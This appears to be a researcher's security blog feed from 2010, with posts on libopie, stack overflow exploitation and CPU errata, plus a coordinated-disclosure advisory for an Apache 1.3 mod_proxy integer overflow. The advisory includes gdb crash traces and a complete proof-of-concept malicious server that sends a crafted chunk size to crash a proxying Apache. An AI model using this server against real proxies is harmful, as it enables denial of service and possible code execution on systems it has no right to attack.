Best regards,

Adam Zabrocki

A lot of softwares using this library for authentication module. For example FreeBSD team change a little the source of  the OpenSSH. They added in some places the code which use the libopie The same changed code is used by DragnoflyBSD. OpenSuSe is using libopie too. Novell systems too.

We’ve analysed exploiting way in default FTP daemon for FreeBSD 8.0. Official FreeBSD’s advisory is available here.

Out advisory is available here and here and… check the bugtraq list

Best regards,

Adam Zabrocki

In the future maybe I will publish some more details.

Btw. This project can be simply adapted for search vulnerabilities in software

Best regards,

Adam Zabrocki

1) The most popular are SQL/XSS bugs but in 60% this is found in software which nobody knows/uses (stupid kiddie)

2) We’ve got 2010 year and there is still possible to find stack overflow bugs! The most funny thing for me there is more remote stack overflow bugs than local

Stack overflow bugs is one of the oldest class of software bugs which still exists – more-less 10% of all bugs ! Of course it isn’t 199x year that you can find it using regexpression for ‘grep’ program. So what is conclusion? Exploit stack overflow bugs is still interesting from attackers point of view. The question is “Is it still possible to exploit this class of bugs in modern UNIX systems in 2010 year?”. The answer for this question isn’t simple. Let’s do simple review of modern defence systems. We’ve got:

We can bypass most of this protection but if it isn’t connected. Is there any possibilities to exploit in modern UNIX systems REMOTE stack overflow bugs with enabled ALL of this protections?! It sounds crazy… but STILL we CAN DO IT I wrote simple server with remote stack overflow bug and EXPLOIT it. Proof Of Concept of course is private but I created a movie of exploiting. You can find it here:

http://site.pi3.com.pl/priv/bypass-all-protections.flv

We’ve got 2010 year and we can still exploit remote stack overflow bugs in modern UNIX systems Amazing… but it could be that this techniques (yes it isn’t one technique which is used to exploit this bug) is the last opportunity to exploiting remote stack overflow bugs… OK so… have a nice watching

Best regards,

Adam Zabrocki

I can’t publish my presentation but if you know me I can talk with you about my topic of lecture

Best regards,

Adam Zabrocki

Day 1 - Feb 9th 2010

09:00, 5'        Introduction - Sverre Jarp, CERN openlab
09:05, 75'       Scalability in software and hardware -
                 -tuning performance in 7 dimensions
                 - Sverre Jarp, CERN openlab
10:20, 10'       Break
10:30, 20'       Systematic benchmarking - Jeff Arnold, Intel
10:50, 30'       Compiler overview - Sverre Jarp, CERN openlab
11:20, 10'       Break
11:30, 60'       Understunding performance tuning
                 - Andrzej Nowak, CERN openlab
12:30, 90'       Lunch (by own)
14:00, 2h 30'    Lab exercises
16:30, 30'       Exercises summary + Q&A

Day 2 - Feb 10th 2010

09:00, 45'       Vectorization - Andrzej Nowak, CERN openlab
09:45, 45'       Guest speaker: C++ optimization -
                 - Lorenzo Montea, CERN
10:30, 10'       Break
10:40, 30'       Floating point computation - Jeff Arnold, Intel
11:10, 30'       NUMA memory systems - Julien Leduc, CERN openlab
11:40, 10'       Break
11:50, 45'       Advanced performance tuning and compilers
                 - Jeff Arnold, Intel
12:35, 85'       Lunch (by own)
14:00, 2h 30'    Exercises summary + Q&A

After all lectures what I’ve heard (not everything),  lecture about Vectorization was the best (for me :>). Greetings for Andrzej Nowak

After contact with Apache security team i can publish new advisory. This bug exists only in apache 1.3 version in mod_proxy modules, only in 64 bits architecture.

I would like to thanks Colm MacCárthaigh – the guy responsible for contact with me and patch this hole.

Bugfix is available in a forthcoming version of Apache 1.3.x.

If you have any question just contact with me. Advisory is avaible here:

Name:                      Mod_proxy from apache 1.3 - Integer overflow which causes heap overflow.
Author:                    Adam Zabrocki (<pi3@itsec.pl> or <zabrocki@cern.ch>)
Date:                      Jan 27, 2010

   Issue:

Mod_proxy from apache 1.3.xx (tested on latest version - 1.3.41) allows local and remote attackers
to overflow buffer on heap via integer overflow vulnerability.

   Description:

Mod_proxy implements a proxy/cache for Apache. It implements proxying capability for FTP, CONNECT (for SSL),
HTTP/0.9, HTTP/1.0, and (as of Apache 1.3.23) HTTP/1.1. The module can be configured to connect to other
proxy modules for these and other protocols.

   Details:

Let's look in code:

"./src/modules/proxy/proxy_util.c"
long int ap_proxy_send_fb(BUFF *f, request_rec *r, cache_req *c, off_t len, int nowrite, int chunked, size_t recv_buffer_size)
{

...
    size_t buf_size;
    long remaining = 0;
...

    for (end_of_chunk = ok = 1; ok;) {
...
        if (chunked) {
            long chunk_start = 0;
            n = 0;

            /* start of a new chunk */
            if (end_of_chunk) {
                end_of_chunk = 0;
                /* get the chunk size from the stream */
                chunk_start = ap_getline(buf, buf_size, f, 0);    <----------------  [0] reading line from traffic (socket)
                if ((chunk_start <= 0) || ((size_t)chunk_start + 1 >= buf_size) || !ap_isxdigit(*buf)) {
                    n = -1;
                }
                /* parse the chunk size */
                else {
                    remaining = ap_get_chunk_size(buf);           <----------------  [1] convert readed data to 'long' size!
                    if (remaining == 0) { /* Last chunk indicated, get footers */
...
...
                        }
                    }
                    else if (remaining < 0) {
                        n = -1;
                        ap_log_rerror(APLOG_MARK, APLOG_DEBUG|APLOG_NOERRNO, r,
                                      "proxy: remote protocol error, invalid chunk size");
                    }
                }
            }

            /* read the chunk */
            if (remaining > 0) {
                n = ap_bread(f, buf, MIN((int)buf_size, (int)remaining));     <------------- [2] convert 'long' to 'int' !!!!
                if (n > -1) {
                    remaining -= n;
                    end_of_chunk = (remaining == 0);
                }
            }
...
...
}

OK. We have simple flow in this code:

-> server read header
-> if it is chunked connection
  -> [0] server will wait and then read data from socket (size of the chunk)
  -> simple check what server received
  -> [1] convert received data to 'long' type
  -> if there is possitive chunk size
     -> [2] directly convert 'long' to 'int' type    <- here is integer overflow bug in amd64 architecture !!!
     -> copy data using converted type

Vulnerability exists only in 64 bits architectures when server directly convert 'long' type to 'int'.
On 64 bits architectures:
   long - 8 bytes
   int  - 4 bytes

When we have conversion from 'long' to 'int' in 64 bits architectures, directly is removed lower 4 bytes.

OK. Let's find calls to this vulnerable function:
./src/modules/proxy/proxy_cache.c:            ap_proxy_send_fb(c->origfp, r, c, c->len, 1, 0, IOBUFSIZE);
./src/modules/proxy/proxy_cache.c:            ap_proxy_send_fb(c->origfp, r, c, c->len, 1, 0, IOBUFSIZE);
./src/modules/proxy/proxy_cache.c:        ap_proxy_send_fb(c->origfp, r, c, c->len, r->header_only, 0, IOBUFSIZE);
./src/modules/proxy/proxy_cache.c:        ap_proxy_send_fb(cachefp, r, NULL, c->len, 0, 0, IOBUFSIZE);
./src/modules/proxy/proxy_ftp.c:            ap_proxy_send_fb(data, r, c, -1, 0, 0, conf->io_buffer_size);
./src/modules/proxy/proxy_http.c:        ap_proxy_send_fb(f, r, c, c->len, 0, chunked != NULL, 

I was testing mod_proxy for http configuration. How it works in details?

client ---------> Server  < -- (mod_proxy_XXX) -- > Other server
                   ^
                   |
                   |
                   -> CACHE (proxy cache)

Proof of Concept which I attached to this advisory causes vulnerability in connection:
                Server < ---- > Other server
... but as we can see (calls to vuln function) probably there is some opportunity
to trigger this vulnerability from CACHE (proxy cache).

In real world this vulnerability is dangerous for open proxy servers. In pentesting could be useful
to attack server behind other servers... but... everyone knows probably better vectors  

   Proof of concept

[root@pi3-test apache]# gdb -q ./bin/httpd
(gdb) r -X
Starting program: /usr/local/apache/bin/httpd -X
[Sun Dec 27 05:03:19 2009] [alert] httpd: Could not determine the server's fully
qualified domain name, using 127.0.0.1 for ServerName

Program received signal SIGSEGV, Segmentation fault.
0x0000003fec682958 in memcpy () from /lib64/libc.so.6
Missing separate debuginfos, use: debuginfo-install expat-2.0.1-6.fc11.1.x86_64
glibc-2.10.1-5.x86_64 nss-softokn-freebl-3.12.4-3.fc11.x86_64
(gdb) bt
#0  0x0000003fec682958 in memcpy () from /lib64/libc.so.6
#1  0x000000000043083c in inet_addr ()
#2  0x000000000042a796 in inet_addr ()
#3  0x000000000042975f in inet_addr ()
#4  0x000000000041d8f5 in inet_addr ()
#5  0x0000000000432a29 in inet_addr ()
#6  0x000000000044bc88 in inet_addr ()
#7  0x000000000044bceb in inet_addr ()
#8  0x0000000000441344 in inet_addr ()
#9  0x0000000000441521 in inet_addr ()
#10 0x00000000004416a7 in inet_addr ()
#11 0x0000000000441f5f in inet_addr ()
#12 0x0000000000442820 in inet_addr ()
#13 0x0000003fec61ea2d in __libc_start_main () from /lib64/libc.so.6
#14 0x0000000000403399 in inet_addr ()
#15 0x00007fffffffe618 in ?? ()
#16 0x000000000000001c in ?? ()
#17 0x0000000000000002 in ?? ()
#18 0x00007fffffffe87d in ?? ()
#19 0x00007fffffffe899 in ?? ()
#20 0x0000000000000000 in ?? ()
(gdb) x/i $rip
0x3fec682958 <memcpy+792>:      mov    %r11,0x20(%rdi)
(gdb) i r rdi
rdi            0x6d1fde 7151582
(gdb) i r r11
r11            0x0      0
(gdb)

OK. Let's do the same with debug symbols:

[root@pi3-test apache_1.3.41]# gdb -q ./src/httpd
(gdb) r -X
Starting program: /root/mod_proxy/apache_1.3.41/src/httpd -X
[Wed Dec 30 17:00:37 2009] [alert] httpd: Could not determine the server's fully
qualified domain name, using 127.0.0.1 for ServerName

Program received signal SIGSEGV, Segmentation fault.
0x0000003fec682958 in memcpy () from /lib64/libc.so.6
Missing separate debuginfos, use: debuginfo-install expat-2.0.1-6.fc11.1.x86_64
glibc-2.10.1-5.x86_64 nss-softokn-freebl-3.12.4-3.fc11.x86_64
(gdb) bt
#0  0x0000003fec682958 in memcpy () from /lib64/libc.so.6
#1  0x000000000043083c in ap_bread (fb=0x6bb120, buf=0x6bfd98, nbyte=-65536) at buff.c:776
#2  0x000000000042a796 in ap_proxy_send_fb (f=0x6bb120, r=0x6b9960, c=0x6bacc0, len=-1,
    nowrite=0, chunked=1, recv_buffer_size=8192) at proxy_util.c:536
#3  0x000000000042975f in ap_proxy_http_handler (r=0x6b9960, c=0x6bacc0,
    url=0x6bacae "http://127.0.0.1/", proxyhost=0x0, proxyport=0) at proxy_http.c:636
#4  0x000000000041d8f5 in proxy_handler (r=0x6b9960) at mod_proxy.c:395
#5  0x0000000000432a29 in ap_invoke_handler (r=0x6b9960) at http_config.c:476
#6  0x000000000044bc88 in process_request_internal (r=0x6b9960) at http_request.c:1299
#7  0x000000000044bceb in ap_process_request (r=0x6b9960) at http_request.c:1315
#8  0x0000000000441344 in child_main (child_num_arg=0) at http_main.c:4885
#9  0x0000000000441521 in make_child (s=0x68f0b0, slot=0, now=1262188837) at http_main.c:5000
#10 0x00000000004416a7 in startup_children (number_to_start=5) at http_main.c:5083
#11 0x0000000000441f5f in standalone_main (argc=2, argv=0x7fffffffe608) at http_main.c:5430
#12 0x0000000000442820 in main (argc=2, argv=0x7fffffffe608) at http_main.c:5773
(gdb) up
#1  0x000000000043083c in ap_bread (fb=0x6bb120, buf=0x6bfd98, nbyte=-65536) at buff.c:776
776             memcpy(buf, fb->inptr, nbyte);
(gdb) print nbyte
$1 = -65536
(gdb) print (unsigned int)nbyte
$2 = 4294901760
(gdb) list
771     #ifdef CHARSET_EBCDIC
772             if (fb->flags & B_ASCII2EBCDIC)
773                 ascii2ebcdic(buf, fb->inptr, nbyte);
774             else
775     #endif /*CHARSET_EBCDIC*/
776             memcpy(buf, fb->inptr, nbyte);
777             fb->incnt = nrd - nbyte;
778             fb->inptr += nbyte;
779             return nbyte;
780         }

--- server.c ---
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/in.h>
#include <pthread.h>
#include <errno.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <fcntl.h>

#define PORT 80
#define sys_err(x)                         \
do {                                       \
   fprintf(stderr,"%s",x);                 \
   exit(-1);                               \
} while(0)

void *parse_me(void *arg);

int main(int argc, char *argv[]) {

   int r_sock,connfd,tmp,tmp2;
   struct sockaddr_in saddr;
   pthread_t bo_tak;
   struct stat statbuf;

   if ( (r_sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
      sys_err("Socket()!\n");

   tmp=sizeof(struct sockaddr_in);
   memset(&saddr,0x0,tmp);
   saddr.sin_family      = PF_INET;
   saddr.sin_port        = htons(PORT);
   saddr.sin_addr.s_addr = htonl(INADDR_ANY);

   if (bind(r_sock, (struct sockaddr *) &saddr, tmp) == -1)
      sys_err("Bind()!\n");

   if ( (listen(r_sock,0x666)) != 0)
      sys_err("Listen()!\n");

pierw_p:

   while (1) {
      if ( (connfd=accept(r_sock,(struct sockaddr*)&saddr,(socklen_t *)&tmp)) < 0) {
         if (errno == EINTR)
            goto pierw_p;
         else
            sys_err("Accept()!\n");
      }
      if ( (tmp2=pthread_create(&bo_tak,NULL,parse_me,(void *)connfd/*&tymczasowe*/) != 0))
         sys_err("Accept() => Blad przy tworzeniu watku! Wychodze...");
   }
}

void *parse_me(void *arg) {

   int sock = (int)arg;
   char buf[4096];
   char *head = "HTTP/1.1 200 OK\r\n"
                "Date: Sat, 66 Dec 666 23:56:50 GMT\r\n"
                "Server: pi3 (pi3 OS)\r\n"
                "X-Powered-By: pi3\r\n"
                "Connection: close\r\n"
                "Transfer-Encoding: chunked\r\n"
                "Content-Type: text/html; charset=UTF-8\r\n\r\n";

   memset(buf,0x0,4096);
   read(sock,buf,4096);
   write(sock,head,strlen(head));
   write(sock,"10000000FFFF0000\n",17);
   while(1)
      write(sock,"A",1);
}
---   EOF    ---

   Greets

+) Kochana Ewa :* 
+) Guys from HISPASEC, snoop, thorkill, Piotr Bania, tmg, guys from isec.pl,
   guys from SecurityReason, #lam3rz@IRCNET and #plhack@IRCNET
+) Colm MacCárthaigh from apache security team.

   Disclaimer

This document and all the information it contains is provided "as is",
without any warranty. The author is not responsible for the
misuse of the information provided in this advisory. The advisory is
provided for educational purposes only.

Permission is hereby granted to redistribute this advisory, providing
that no changes are made and that the copyright notices and
disclaimers remain intact.

   Ending words...

That's all. I have tested it on/with latest apache version - 1.3.41.
Probably all versions 1.3.xx are vulnerability.

- Thanks and Best regards Adam Zabrocki (pi3 / pi3ki31ny).

   BUGFIX:

Fix is available in a forthcoming version of Apache 1.3.x.

   Disclosure Timeline

*) 27 Jan,  2010  -  release advisory
...
*) 06 Jan,  2010  -  release patch
...
...
*) 30 Dec,  2009  -  contact with vendor
*) 24 Dec,  2009  -  exploit bug and write advisory
*) 04 Sept, 2009  -  found bug

--

http://pi3.com.pl

Program received signal SIGSEGV, Segmentation fault.
0x0000003fec682958 in memcpy () from /lib64/libc.so.6
Missing separate debuginfos, use: debuginfo-install expat-2.0.1-6.fc11.1.x86_64
glibc-2.10.1-5.x86_64 nss-softokn-freebl-3.12.4-3.fc11.x86_64
(gdb) bt
#0  0x0000003fec682958 in memcpy () from /lib64/libc.so.6
#1  0x000000000043083c in inet_addr ()
#2  0x000000000042a796 in inet_addr ()
#3  0x000000000042975f in inet_addr ()
#4  0x000000000041d8f5 in inet_addr ()
#5  0x0000000000432a29 in inet_addr ()
#6  0x000000000044bc88 in inet_addr ()
#7  0x000000000044bceb in inet_addr ()
#8  0x0000000000441344 in inet_addr ()
#9  0x0000000000441521 in inet_addr ()
#10 0x00000000004416a7 in inet_addr ()
#11 0x0000000000441f5f in inet_addr ()
#12 0x0000000000442820 in inet_addr ()
#13 0x0000003fec61ea2d in __libc_start_main () from /lib64/libc.so.6
#14 0x0000000000403399 in inet_addr ()
#15 0x00007fffffffe618 in ?? ()
#16 0x000000000000001c in ?? ()
#17 0x0000000000000002 in ?? ()
#18 0x00007fffffffe87d in ?? ()
#19 0x00007fffffffe899 in ?? ()
#20 0x0000000000000000 in ?? ()

Best regards,

Adam Zabrocki

I forgot add this advisory in my site (sic!) Now it’s ok and you can find this advisory here.

I attached to this advisory details and Proof Of Concept. If you haven’t read it yet i strongly recommend you to do it because it shows that sometimes if  we read source code we think bug doesn’t exists but sometimes other external stuff/bugs/unspecified situation help us to trigger and exploit unexisting bug

Here is link – once again:
http://site.pi3.com.pl/adv/advisory-libresolv-mtr.txt

Btw. In future I want to continue research about CPU bugs and probably it will cause news posts in this topic

Best regards,

Adam Zabrocki

From time to time Intel release erratas for his products! But not many people know about it and almost nobody read it Last few years we had seen some kind of race in releasing new CPUs. Who release faster processor (AMD vs INTEL) and which processor will have more cores earlier. I think, personally, on one hand it is ok – we have faster processors and pay less money. In other hand I realize that the time which have company to test his products decrease. This situation always causes bugs in products.
On bugtraq list we can find ‘Theo de Raadt’s post about bugs in Intel Core 2 architecture – first post which sensitize this problem from OS security site. Here is piece of his post:

“These processors are buggy as hell, and some of these bugs don’t just
cause development/debugging problems, but will *ASSUREDLY* be
exploitable from userland code.”

You can find full post  here.

It sounds really bad. Some of known bugs from 2006 are listed below:

Yep. It looks amazing Some of them can causes real security problem Kris Kaspersky released his presentation about Intel CPU bugs. You can find it here.

For me the main point in this presentation is that he have got sample of virus which use one of CPU bugs to hide and exploit systems! Second important information is that he have received from this sample this piece of code which proof this bugs Unfortunately he is not going to release it until Intel patch it ;/
Other interesting information is how it is possible (in theory) exploit some kind of Integer Overflow bugs in Unix systems – it is really interesting for me.
Let’s look for this piece of code:

foo(char *p, int len)
{
char buf[XXL];
…
if (len > XXL) return -1;
memcpy(buf, p, len);
return 0;
}

Third arigument for function memcpy() is ‘size_t’ type. In most systems size_t == unsigned int. If we pass negative value for ‘len’ variable proccess will crash. Minimum value for trigger this bug is 8000000h. On Windows it is exploitable via overwriting SEH structure but on *NIX systems like Linux it isn’t exploitable to code exec – in normal situation.
Bugs in CPU can cause this situation exploitable in system like Linux. What is scenario? When we trigger this software bug and processor start to overwriting memory when somehow we trigger on of CPU bug which will damage value in %ecx register than processor will stop overwriting memory (rep prefix?) and go to next instructions. Result of this scenario will be stop overwriting memory in situation when the process won’t be killed! It’s really interesting. I realize it is really hard to do but i think not impossible

What do you think? I’m waiting for comments…

Best regards,
Adam Zabrocki